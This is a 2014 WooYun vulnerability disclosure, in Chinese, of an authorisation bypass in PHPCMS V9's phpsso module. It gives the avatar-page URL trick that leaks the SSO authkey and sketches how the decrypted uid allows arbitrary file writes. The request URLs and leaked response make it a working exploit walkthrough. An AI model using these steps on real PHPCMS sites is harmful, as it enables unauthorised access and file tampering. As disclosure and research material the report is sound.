漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-066394
漏洞标题:PHPCMS V9 一个为所欲为的漏洞
相关厂商:phpcms
漏洞作者: Map
提交时间:2014-06-27 11:12
修复时间:2014-09-22 11:14
公开时间:2014-09-22 11:14
漏洞类型:非授权访问/权限绕过
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-06-27: 细节已通知厂商并且等待厂商处理中
2014-07-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-26: 细节向核心白帽子及相关领域专家公开
2014-09-05: 细节向普通白帽子公开
2014-09-15: 细节向实习白帽子公开
2014-09-22: 细节向公众公开
简要描述:
不知道怎么形容这个漏洞,反正大部分情况下可以做的事情很多了。
官网注册不上,所以无法官网演示。
详细说明:
安装phpcms的时候会强制安装它的通行证。
phpcms/phpsso_server/phpcms/modules/phpsso/index.php里有一段很可怕的代码
cache里是什么内容呢,我们自己去看一下文件:
所以只要我们调用phpsso并且能走到这个方法里,就会突出sso配置的客户端的所有信息,包括authkey。
查看通行证代码发现,只要$_POST['data']可以解出来,就可以走下去。
GET全付给POST
ok,我们怎么拿到这个$_POST['data'],用户上传头像的页面里就有。
注册登录后访问
http://localhost:8038/study/phpcms/index.php?m=member&c=index&a=account_manage_avatar&t=1
查看源文件:
拿到这个:
aHR0cDovL2xvY2FsaG9zdDo4MDM4L3N0dWR5L3BocGNtcy9waHBzc29fc2VydmVyL2luZGV4LnBocD9tPXBocHNzbyZjPWluZGV4JmE9dXBsb2FkYXZhdGFyJmF1dGhfZGF0YT12PTEmYXBwaWQ9MSZkYXRhPWU1YzJWQU1HVVFaUkFRa0lVUVFLVndGVUFnSUNWZ0FJQWxkVkJRRkREUVZjVjBNVVFHa0FReFZaWmxNRUdBOSUyQkRqWm9LMUFIUm1Vd0JHY09YVzVVRGdRaEpEeGFlUVZuR0FkeFZSY0tRQQ==
解除base64_decode编码得
http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
将url里的uploadavatar换成:getapplist得:
http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
访问得:
a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:35:"http://localhost:8038/study/phpcms/";s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:3:"gbk";s:8:"synlogin";s:1:"1";}}
和我们想的一样,authkey在里面:
s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr"
拿到这个key已经可以想做什么想什么了,sso体系里的东西都可以做了。
举个例子:
/phpcms/phpsso_server/phpcms/modules/phpsso/index.php
内:
public function uploadavatar()
写的
$this->uid = $this->data['uid']; //uid来自解密出来的uid
$this->avatardata = $this->data['avatardata']; //数据内容来自解密出来的数据内容
……
$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
//目录名里引用了来自解密内容的uid
……
$filename = $dir.'180x180.jpg';
//文件名又来自引用了解密uid内容的$dir变量
$fp = fopen($filename, 'w');
fwrite($fp, $this->avatardata);
fclose($fp);
文件写入了,反正是想做什么做什么。
漏洞证明:
如上。
修复方案:
不要过分信任自己的加密解密机制,要小心处理每个过程。
版权声明:转载请注明来源 Map@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-09-22 11:14
厂商回复:
最新状态:
暂无